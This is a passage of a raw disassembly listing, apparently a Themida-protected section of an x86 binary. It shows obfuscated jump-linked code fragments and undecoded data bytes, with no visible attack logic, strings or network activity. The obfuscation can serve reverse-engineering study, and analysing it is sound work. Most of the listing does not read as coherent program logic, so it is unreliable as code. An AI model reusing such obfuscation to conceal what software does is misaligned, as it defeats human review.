		dd 4EC8124h, 89000000h,	0EC83242Ch, 66786804h, 38E90000h
		dd 51000007h, 4BE56h, 0F1890000h, 0E924348Bh, 0FFFFAF25h
; ---------------------------------------------------------------------------


loc_5DAE38:				; CODE XREF: Themida_:005DA292j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_5D6BEA
; ---------------------------------------------------------------------------
		db 54h
		dd 0CBB5359h, 4B1B9C5Bh, 3724CB81h, 8EE94AE8h, 81FFFF68h
		dd 4C4h, 0B2EE8100h, 8130021Ch,	387CF9EEh, 0FF94E90Fh
		dd 45E9FFFFh, 0F7FFFF67h, 0E95F2414h, 0FFFF7431h, 8704C683h
		dd 0F5C2434h, 0AEE9C0B6h, 0FFFFFFA5h, 669D1C77h, 241CD259h
		dd 671EE99Ch, 8159FFFFh, 0B46190F1h, 241C8B2Ah,	0E9E78957h
		dd 0FFFF86ABh, 5C243487h, 0B3241C89h, 4AE0454h,	8B36E9A7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DAEC2:				; CODE XREF: Themida_:005DBC85j
		pop	ebx
		sub	ebx, 4AFA5896h
		jmp	loc_5D719C
; ---------------------------------------------------------------------------
		dw 4635h
		dd 507F8D1Ch, 0E9240CFFh, 0FFFFF750h
; ---------------------------------------------------------------------------


loc_5DAEDC:				; CODE XREF: Themida_:005D68B2j
		pop	esp
		mov	[esp], ebx
		push	4A22h
		mov	[esp], edx
		mov	edx, 1ED41A96h
		push	1ED45A96h
		pop	ebx
		jmp	loc_5D3092
; ---------------------------------------------------------------------------
		dd 101D68h, 0A107E900h,	5ADFFFFh, 0FD3087Fh, 0D3670405h
		dd 52D82930h, 0FFC372E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DAF15:				; CODE XREF: Themida_:005DB41Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 50E74664h
		add	ebp, ebx
		push	ecx
		mov	ecx, 7C2C2284h
		dec	ecx
		xor	ecx, 3C05286Fh
		sub	ecx, 0EF41C488h
		sub	ebp, 25111FD9h
		sub	ebp, 18F76286h
		jmp	loc_5D66EC
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0BEAFE9CFh, 5954FFFFh, 0FFCA57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DAF5D:				; CODE XREF: Themida_:005DC5C4j
		mov	edx, edi
		pop	edi
		sub	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------


loc_5DAF77:				; CODE XREF: Themida_:005D588Fj
		mov	edx, 1F3E7030h
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		dec	edx
		shr	edx, 4
		push	edi
		mov	edi, 15424D28h
		jmp	loc_5D9297
; ---------------------------------------------------------------------------


loc_5DAF91:				; CODE XREF: Themida_:005D1917j
		mov	[esp], eax
		jmp	loc_5DD61C
; ---------------------------------------------------------------------------


loc_5DAF99:				; CODE XREF: Themida_:005D6FC1j
		push	eax
		pushf
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		dd 0BE243489h, 79F43FDh, 0FADF681h, 3E91B67h, 0FFFFFF86h
		dd 48B2434h, 10E95324h,	0FFFFFFB1h, 148B2434h, 4C48324h
		dd 0FFFC74E9h, 0E95166FFh, 0FFFFC7BAh, 0CBE9DFF6h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DAFDB:				; CODE XREF: Themida_:005D4081j
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	296Dh
		mov	[esp], edi
		mov	edi, 420F23B6h
		xor	edi, 1D04344Eh
		or	edi, 3FCC2B65h
		push	esi
		mov	esi, 36E46134h
		jmp	loc_5D722B
; ---------------------------------------------------------------------------


loc_5DB007:				; CODE XREF: Themida_:005D602Cj
		not	edx
		xchg	edx, ebp
		xchg	ebp, esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		mov	eax, [esp]
		push	604Ch
		jmp	loc_5D6AAB
; ---------------------------------------------------------------------------


loc_5DB023:				; CODE XREF: Themida_:005D5B68j
		mov	edx, [esp]
		add	esp, 4
		dec	edi
		xchg	esi, edi
		jmp	loc_5D5A14
; ---------------------------------------------------------------------------
		dd 6C99E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB03A:				; CODE XREF: Themida_:005D3421j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		db 89h
		dd 0EE95AD7h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB053:				; CODE XREF: Themida_:005DAD29j
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		db 81h
		dd 0D2693BEDh, 81CD0174h, 0D2693BC5h, 765BE974h, 0F001FFFFh
		dd 8124348Bh, 4C4h, 8E62D00h, 66E94CC7h, 89FFFF70h, 58E92414h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB093:				; CODE XREF: Themida_:005D8E88j
		mov	[esp], ebx
		push	edx
		sub	dword ptr [esp], 75606CC1h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_5DA8DC
; ---------------------------------------------------------------------------


loc_5DB0B3:				; CODE XREF: Themida_:005D71C9j
		sub	edx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5D6ED1
; ---------------------------------------------------------------------------
		dd 0E9241487h, 0CF1h, 4BEh, 5EF20100h, 0FFFFEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DB0D5:				; CODE XREF: Themida_:005D7B38j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 1854CAA3h
		add	eax, 76DE0372h
		add	eax, 3AB70D8h
		add	eax, edx
		sub	eax, 3AB70D8h
		sub	eax, 76DE0372h
		jmp	loc_5DC50F
; ---------------------------------------------------------------------------


loc_5DB0FE:				; CODE XREF: Themida_:005D6C81j
		xor	ebp, [esp]
		jmp	loc_5DAA02
; ---------------------------------------------------------------------------


loc_5DB106:				; CODE XREF: Themida_:005DA792j
		pop	eax
		inc	ecx
		push	ebp
		mov	ebp, 61CF676Bh
		add	ebp, 6720F9Bh
		inc	ebp
		jmp	loc_5D38D4
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0BF57DA87h, 5788117Ah, 815FFA01h, 0D21AD6C2h, 5AD53133h
		dd 34FFEB89h, 0C4835D24h, 51FB0104h, 0B9h, 0F9E98100h
		dd 16C0B40h, 0F9C181D9h, 886C0B40h, 0E95B5901h,	0FFFF6464h
		dd 52243489h, 6727B951h, 29BA1907h, 0E9190767h,	0FFFF6F5Ah
		dd 4C481h, 0FAE90000h, 5CFFFFA6h, 9C240CFEh, 0FF643BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DB181:				; CODE XREF: Themida_:005D7FDBj
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 78113AAFh
		xor	esi, 43293EA4h
		sub	esi, 3B380407h
		jmp	loc_5D5184
; ---------------------------------------------------------------------------


loc_5DB19E:				; CODE XREF: Themida_:005DC157j
		add	eax, 501D2381h
		add	eax, edi
		sub	eax, 501D2381h
		jmp	loc_5D79F7
; ---------------------------------------------------------------------------


loc_5DB1AF:				; CODE XREF: Themida_:005D8D2Fj
		mov	esi, 4AE130E9h
		and	ecx, esi
		pop	esi
		jmp	loc_5D755D
; ---------------------------------------------------------------------------


loc_5DB1BC:				; CODE XREF: Themida_:005D564Cj
		pop	esp
		jmp	loc_5D72C8
; ---------------------------------------------------------------------------


loc_5DB1C2:				; CODE XREF: Themida_:005D7132j
		mov	[esp], edi
		pop	eax
		jmp	loc_5DD833
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 6504h, 0FF6E88E9h, 0A9C780FFh, 0FF9FDAE9h
		dd 85F281FFh, 0E930C17Dh, 0FFFF7230h
; ---------------------------------------------------------------------------


loc_5DB1EC:				; CODE XREF: Themida_:005D5A19j
		sub	edi, 7C216658h
		and	ecx, edi
		pop	edi
		shr	ecx, 0Bh
		push	3317h
		jmp	loc_5DC78A
; ---------------------------------------------------------------------------


loc_5DB202:				; CODE XREF: Themida_:005D9869j
		push	edi
		jmp	loc_5D535D
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 48B2434h, 4C48124h, 0E9000000h, 0FFFFC5F7h
; ---------------------------------------------------------------------------


loc_5DB21C:				; CODE XREF: Themida_:005D46F2j
		mov	ebx, 0EF34BCDBh
		jmp	loc_5DD2AE
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D3h, 0FFB0ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DB235:				; CODE XREF: Themida_:005DA7D2j
		push	ebx
		mov	ebx, 7B3C1435h
		push	edi
		mov	edi, 63A6843h
		push	esi
		mov	esi, 1CFC03EAh
		push	esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 4257CA96h
		add	edi, esi
		pop	esi
		jmp	loc_5D74F7
; ---------------------------------------------------------------------------
		dw 0D328h
		dd 0A1EAE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB262:				; CODE XREF: Themida_:005D8AECj
		xor	[esp], esi
		jmp	loc_5D7264
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 95680000h, 89000040h, 268240Ch, 0E9000000h
		dd 0FFFF925Bh
; ---------------------------------------------------------------------------


loc_5DB284:				; CODE XREF: Themida_:005D8C5Cj
		push	esi
		push	ebp
		mov	ebp, 0BEF993D1h
		mov	esi, ebp
		pop	ebp
		sub	ecx, 2AC10022h
		add	ecx, esi
		add	ecx, 2AC10022h
		pop	esi
		jmp	loc_5D3976
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 0E903E6C0h, 0FFFFB345h, 5005E3C1h, 1E70B3B8h, 7D7D2D63h
		dd 6F685967h, 89000044h, 2E92404h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB2C7:				; CODE XREF: Themida_:005D4784j
		push	ecx
		pop	ebx
		pop	ecx
		push	edx
		mov	edx, 45526517h
		add	edx, 30E90FC7h
		sub	edx, 5F04314Fh
		xor	ebx, edx
		pop	edx
		or	ebx, 2F247134h
		jmp	loc_5D97CA
; ---------------------------------------------------------------------------
		dw 6853h
		dd 3A234C4h, 24B8E9h, 50535E00h, 0FF76D7E9h, 8BE959FFh
		dd 81FFFF83h, 4D04246Ch, 50462F11h, 48455FB8h, 0BF3BE977h
		dd 0A1E9FFFFh, 0FFFFFF62h, 669D1C77h, 4116658h,	91E99C24h
		dd 86FFFF62h, 86CCFEE7h, 0C0C7FEE7h, 0EEE903E7h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DB33B:				; CODE XREF: Themida_:005D6A12j
		sub	ecx, 1
		jmp	loc_5DBDF0
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0C281E289h, 4, 18F6E9h, 24448100h, 8B3E5008h
		dd 0C598E923h, 0A82DFFFFh, 513AE61h, 9609E2h, 0FFA04EE9h
		dd 0E92304FFh, 0FFFF90DBh, 0E9241C31h, 0FFFF9091h
; ---------------------------------------------------------------------------


loc_5DB384:				; CODE XREF: Themida_:005D6FB9j
		push	ecx
		mov	ecx, 4583289Bh
		xor	ecx, 101B21D1h
		inc	ecx
		inc	ecx
		push	697Ch
		mov	[esp], ebx
		mov	ebx, 3CA246D6h
		jmp	loc_5DC72A
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89502404h, 5B3D68E0h, 0C890000h, 4B924h
		dd 0FBE90000h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB3BF:				; CODE XREF: Themida_:005D5F7Aj
		add	esp, 4
		push	7F70h
		mov	[esp], eax
		mov	eax, 5A847163h
		xor	eax, 0E5C29A3Bh
		add	esi, eax
		jmp	loc_5D34BC
; ---------------------------------------------------------------------------


loc_5DB3DB:				; CODE XREF: Themida_:005D5250j
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 59B478A5h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, eax
		push	ebx
		jmp	loc_5DBEE5
; ---------------------------------------------------------------------------


loc_5DB3F4:				; CODE XREF: Themida_:005D1F13j
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5D9BA0
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 1382h
; ---------------------------------------------------------------------------


loc_5DB410:				; CODE XREF: Themida_:005D7010j
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5DAF15
; ---------------------------------------------------------------------------


loc_5DB423:				; CODE XREF: Themida_:005D1C39j
		mov	[esp], edi
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5DD461
; ---------------------------------------------------------------------------


loc_5DB432:				; CODE XREF: Themida_:005DC3FAj
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5D8E00
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		push	eax
		mov	eax, 35385AFDh
		mov	edx, 35385AF9h
		xor	edx, eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4


loc_5DB467:				; DATA XREF: Themida_:006240BEo
		jmp	loc_5D3B71
; ---------------------------------------------------------------------------
		dd 1D6AB850h, 61252BB3h, 0E9318152h, 0FFFF7080h, 0E902C683h
		dd 0FFFFD304h
; ---------------------------------------------------------------------------


loc_5DB484:				; CODE XREF: Themida_:005DCC16j
		pop	esi
		xor	ebp, 0BBCEBC7Ah
		mov	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 88F58851h, 5B5A592Bh,	81240C8Bh, 4C4h
		dd 60FEE900h, 34FFFFFFh, 2434FF24h, 0E924048Bh,	0FFFFCEA5h
		dd 530DBD55h, 0EE013BCAh, 1C1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DB4D9:				; CODE XREF: Themida_:005DBF62j
		mov	[esp], ebp
		push	esi
		jmp	loc_5D4CC5
; ---------------------------------------------------------------------------


loc_5DB4E2:				; CODE XREF: Themida_:005DBD69j
		push	ecx
		jmp	loc_5D639B
; ---------------------------------------------------------------------------
		dd 723ABB53h, 0CBB94F35h, 297489E8h, 0CB015BD9h, 0E9240C8Bh
		dd 0FFFFB70Ch, 240C8B66h, 4EC81h, 1C890000h, 4EC8124h
		dd 54000000h, 8124048Fh, 42404h, 1C8B0000h, 4C48124h, 81000000h
		dd 4C3h, 2BF5700h, 83000000h, 348904ECh, 5CDFBE24h, 8AE91AF8h
		dd 83FFFF93h, 0FD0104C4h, 2C5835Fh, 2474FF55h, 242C8B04h
		dd 4C481h, 6DE90000h, 89FFFFA4h, 4812424h, 424h, 8C4E900h
		dd 814E0000h, 683951EEh, 8BF2010Fh, 0C4812434h,	4, 0FF6513E9h
		dd 4C381FFh, 87000000h,	285C241Ch, 0EF6866D8h, 14896634h
		dd 867DE924h, 0FF50FFFFh, 58042474h, 8B24048Fh,	8B662424h
		dd 5455240Ch, 0BB53575Dh, 658502F6h, 7CF6E381h,	0EB815E43h
		dd 42E61108h, 1C381h, 0EB810000h, 0D093BF15h, 15E1E9h
		dd 241C8700h, 5FDEE95Ch, 0E589FFFFh, 4C581h, 0ED810000h
		dd 4, 5C242C87h, 0FF243C89h, 8B042474h,	39E9243Ch
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB5FF:				; CODE XREF: Themida_:005D5E7Aj
		xor	ebx, 52D93994h
		sub	esp, 4
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		add	esp, 4
		mov	[edi+20h], edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5D6D38
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0ACh
		dd 68FFFFB9h, 0
		dd 5E243429h, 8164C681h, 0ED81193Bh, 4FF77987h,	14EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DB64D:				; CODE XREF: Themida_:005D2D92j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebx
		push	ebp
		mov	ebp, 7DB1172Dh
		neg	ebp
		sub	ebp, 824EE8CFh
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		push	ecx
		mov	ecx, 607A6ECBh
		add	ebp, ecx
		pop	ecx
		add	ebp, ebx
		sub	ebp, 607A6ECBh
		pop	ebx
		push	ebp
		jmp	loc_5D8C77
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0FF7F93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DB695:				; CODE XREF: Themida_:005D3C3Ej
		dec	esi
		jmp	loc_5D673E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A8E92424h, 0B5FFFFB8h, 7C580D4h, 8038F580h,	0E828D2C5h
		dd 0E9D82859h, 60Dh, 7C14E2BBh,	81E38149h, 813C9A2Fh, 303C1DF3h
		dd 5BDA0106h, 0FFE4D7E9h, 0E9EF29FFh, 0FFFFBE4Bh, 8106E6C1h
		dd 4ECh, 243C8900h, 5964FBBFh, 75CF812Ah, 0C102FE14h, 0F78105E7h
		dd 6D09B7E4h, 3C8BFE31h, 7C27E924h, 5451FFFFh, 592434FFh
		dd 0FF9F10E9h, 0A3BA52FFh, 2910A348h, 0D6015AD6h, 0FF8005E9h
		dd 148B66FFh, 0E2895224h, 4C281h, 0C2830000h, 24148702h
		dd 18A4E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DB736:				; CODE XREF: Themida_:005DAA0Bj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5D1AA1
; ---------------------------------------------------------------------------
		db 89h
		dd 0CA015DE9h, 592434FFh, 1E1EE9h, 4C48100h, 68000000h
		dd 1E96h, 0BF243C89h, 605F02B7h, 34FFF831h, 2434FF24h
		dd 83243C8Bh, 0C48104C4h, 4, 4EC81h, 2C890000h,	81E58924h
		dd 4C5h, 0D5B95100h, 0C1173E67h, 0E9D103E1h, 60B0C181h
		dd 0C581A306h, 36521887h, 0ED81CD01h, 36521887h, 242C3359h
		dd 33242C31h, 2CE9242Ch
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB7B3:				; CODE XREF: Themida_:005D3D85j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5D38E9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0FE9C521h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB7D3:				; CODE XREF: Themida_:005D6EFEj
		push	56CDh
		jmp	loc_5DA3FE
; ---------------------------------------------------------------------------
		db 0E9h, 0DAh, 5Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB7E2:				; CODE XREF: Themida_:005DBD56j
		push	6D93h
		mov	[esp], edx
		jmp	loc_5D5255
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B24048Fh, 8B662424h, 89532404h, 1CEBE9E3h, 87580000h
		dd 895C243Ch, 8B54240Ch, 0A3E9240Ch
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB813:				; CODE XREF: Themida_:005D163Fj
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		div	ecx
		push	esi
		mov	esi, esp
		jmp	loc_5D69FC
; ---------------------------------------------------------------------------
		db 80h,	0E2h, 0FCh
		dd 0E2C0C2FEh, 7F28008h, 3AE9D028h, 2CFFFF6Ch, 0E9C300BEh
		dd 0FFFF8FFBh
; ---------------------------------------------------------------------------


loc_5DB848:				; CODE XREF: Themida_:005D1701j
					; Themida_:005DC330j
		push	2C19h
		mov	[esp], ebx
		jmp	loc_5D32B7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 5AE904EAh, 0BBFFFFC7h, 0F444066h,	15BDA89h
		dd 0C6815AD6h, 0F27568Ch, 27E9515Fh, 59FFFFF5h,	0FF5E9EE9h
		dd 0CD6866FFh, 24896676h, 98686624h, 0C89667Dh,	0BB665324h
		dd 816668A7h, 6664D8E3h, 0F766DBF7h, 9240E9D3h,	0F828FFFFh
		dd 376E6866h, 24148966h, 0DDF4E953h, 0C181FFFFh, 4, 0FFFDCBE9h
		dd 3998B9FFh, 89527D98h, 0CB87E9CAh, 0EB29FFFFh, 1444EB81h
		dd 0BBE950CEh, 89FFFF96h, 4C181E1h, 52000000h, 0FF8120E9h
		dd 4BAFFh, 0D5010000h, 0ABACE95Ah, 1489FFFFh, 5AE95024h
		dd 5FFFFF8Ch, 0ECC7814Fh, 0C10C890Ch, 0F78102E7h, 0D1DD83Bh
		dd 34FFFA31h, 0C4815F24h, 4, 196DE281h,	98E91717h, 66FFFF88h
		dd 66490968h, 66241489h, 85E99C50h, 0CFFFF5Ch, 0E38CE933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB93E:				; CODE XREF: Themida_:005D6B24j
		sub	esp, 4
		mov	[esp], edi
		push	esi
		push	ebx
		mov	ebx, 30A856C7h
		jmp	loc_5DD2F0
; ---------------------------------------------------------------------------
		dd 4EC8151h, 0E9000000h, 0FFFF71DFh, 2CAABA66h,	46C18166h
		dd 0D1016649h, 46E98166h, 148B6649h, 2C48124h, 66000000h
		dd 0FCE9CA89h, 8BFFFFCFh, 4202424h, 31E99C24h, 4FFFF5Ch
		dd 0EB7AE9CBh, 0CE01FFFFh, 2C68359h, 8B243487h,	0F662424h
		dd 8950C8B6h, 0C0B951E0h, 0C139746Eh, 0BA5203E9h, 176C3647h
		dd 815AD131h, 9E59F0C9h, 5C18113h, 0E9EC2104h, 0FFFFD464h
; ---------------------------------------------------------------------------


loc_5DB9C8:				; CODE XREF: Themida_:005D9644j
		add	ebx, 5BC75F43h
		dec	ebx
		sub	ebx, 8BE4D2ADh
		add	ebp, ebx
		jmp	loc_5D7F48
; ---------------------------------------------------------------------------


loc_5DB9DC:				; CODE XREF: Themida_:005D533Dj
		inc	edi
		xor	edi, 270A05D2h
		xor	edi, 1917E49h
		jmp	loc_5D8E9B
; ---------------------------------------------------------------------------
		dw 1489h
		dd 62B1E924h, 0DA28FFFFh, 0CE05E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DB9FE:				; CODE XREF: Themida_:005D57F3j
		push	2F6C21D2h
		jmp	loc_5DA358
; ---------------------------------------------------------------------------


loc_5DBA08:				; CODE XREF: Themida_:005D68E4j
		add	al, 0BBh
		sub	al, 1Eh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	bl, 0Ah
		jmp	loc_5D24E1
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 40E90000h, 0B8FFFF6Dh, 35F215F5h, 5507E0C1h
		dd 913A7ABDh, 0BF58174h, 11D0F21h, 0D8F75DE8h, 0A915F305h
		dd 7ABF5762h, 81579819h, 87A5AEDh, 0E9FD016Ah, 0FFFF744Bh
		dd 81E68956h, 4C6h, 0B9CBE900h,	0E789FFFFh, 0F9685655h
		dd 0E940DF32h, 0FFFFB6BFh, 1BA468h, 243C8900h, 0A263F268h
		dd 243C8B50h, 4C481h, 0C7810000h, 20AE47C0h, 81FB951h
		dd 0D9F75859h, 3B08E181h, 81413446h, 0AF96C4F1h, 59CF3137h
		dd 3C8BFB89h, 4C48124h,	81000000h, 62E30CC3h, 5BD8311Ah
		dd 7072EB81h, 0EB812400h, 1B0B62AAh, 0DAE9C301h, 53FFFFD4h
		dd 4AE960B7h, 83FFFFD8h, 14E904C6h, 0F7FFFF8Ch,	0E9D7F7DFh
		dd 0FFFFA5ACh, 5C241C87h, 6AC4F381h, 0C3315BCCh, 8124048Bh
		dd 4C4h, 5AB6E900h, 0D7F7FFFFh,	6EEF8147h, 0F706DF6Dh
		dd 57F781D7h, 894A805Fh, 0F2815FFAh, 69DE4AFAh,	0E903E2C1h
		dd 0FFFFD936h, 0BA241489h, 120F0B6Dh, 78C5F281h, 0E94A59B7h
		dd 0FFFF9B82h, 0E9028F66h, 0FFFF5A78h
; ---------------------------------------------------------------------------


loc_5DBB44:				; CODE XREF: Themida_:005D2DC6j
		dec	ebp
		jmp	loc_5D8282
; ---------------------------------------------------------------------------


loc_5DBB4A:				; CODE XREF: Themida_:005D213Aj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 51640883h
		shl	edi, 7
		or	edi, 5D541468h
		jmp	loc_5D49D3
; ---------------------------------------------------------------------------
		dd 8101C283h, 0AE7EA4CAh, 3CC2813Bh, 68614E44h,	38AAh
		dd 0BD242C89h, 7AC727A1h, 0FF688CE9h, 243C89FFh, 0B5E9E789h
		dd 88FFFF70h, 50595AD3h, 0E33404B0h, 0BDE9D0F6h, 87FFFFB2h
		dd 895C241Ch, 0E789243Ch, 4C781h, 0C7830000h, 0E1E95704h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DBBB7:				; CODE XREF: Themida_:005D964Bj
		push	23EF0E65h
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 674E632Fh
		and	esi, 1AC0506h
		add	esi, 22E30D5Eh
		jmp	loc_5DAC8A
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0CE2904C4h, 0A8C68159h, 14CD51Bh,	0ACDCE9C6h
		dd 0E189FFFFh, 4C181h, 0C1810000h, 4, 0FF5F1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DBC05:				; CODE XREF: Themida_:005D17D6j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5D4766
; ---------------------------------------------------------------------------
		db 66h
		dd 66CCB60Fh, 664C3268h, 66240C89h, 66C8B60Fh, 91E99C51h
		dd 0B9FFFF59h, 4CE829E4h, 44E9CB29h, 8BFFFFFCh,	3C892424h
		dd 2474FF24h, 48F5F04h,	0C4DFE924h, 0E089FFFFh,	405h, 0F168E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DBC56:				; CODE XREF: Themida_:005D1EB7j
		add	ebp, 66B474A9h
		mov	edx, ebp
		pop	ebp
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5D9DCE
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0EDh
		dd 0E922CF37h, 1413h
; ---------------------------------------------------------------------------


loc_5DBC78:				; CODE XREF: Themida_:005DD7A8j
		mov	ebp, 3D7A1AF1h
		push	ebp
		add	dword ptr [esp], 4AFA5896h
		jmp	loc_5DAEC2
; ---------------------------------------------------------------------------
		dw 6768h
		dd 8900002Dh, 0BB682404h, 68000020h, 1F53h, 24048F54h
		dd 0D01E9h, 37C58100h, 89FEC133h, 0B9515DE8h, 18C81F3Eh
		dd 0FFD61CE9h, 4B8FFh, 0C7290000h, 0FFFB3DE9h, 39B652FFh
		dd 84EE80h, 602C5AF0h, 8068B753h, 0F8000BF7h, 68B6525Bh
		dd 0EE80D6F6h, 0C5C680C1h, 685AF028h, 5F61h, 0B2241489h
		dd 841FE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DBCF6:				; CODE XREF: Themida_:005DA4D2j
		xchg	ebp, [esp]
		jmp	loc_5D54B3
; ---------------------------------------------------------------------------


loc_5DBCFE:				; CODE XREF: Themida_:005D1FA3j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5DA7D7
; ---------------------------------------------------------------------------


loc_5DBD09:				; CODE XREF: Themida_:005DC358j
		sub	edi, 0B6269FA3h
		mov	eax, edi
		pop	edi
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5D9EF6
; ---------------------------------------------------------------------------


loc_5DBD23:				; CODE XREF: Themida_:005DAB23j
		inc	edi
		shl	edi, 3
		add	edi, 577C028Ch
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_5DCB8F
; ---------------------------------------------------------------------------


loc_5DBD38:				; CODE XREF: Themida_:005D6ACCj
		xchg	ecx, [esp]
		jmp	loc_5DD4F8
; ---------------------------------------------------------------------------
		dd 66E9C8FEh
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DBD47:				; CODE XREF: Themida_:005D1C25j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		jmp	loc_5DB7E2
; ---------------------------------------------------------------------------


loc_5DBD5B:				; CODE XREF: Themida_:005DC0D8j
		xor	esi, 1A0859E4h
		jmp	loc_5D3774
; ---------------------------------------------------------------------------


loc_5DBD66:				; CODE XREF: Themida_:005D1B81j
		mov	[esp], esi
		jmp	loc_5DB4E2
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 76AFBF57h, 0EF8154ECh, 28276A08h, 0F702E7C1h, 75E947DFh
		db 18h,	2 dup(0)
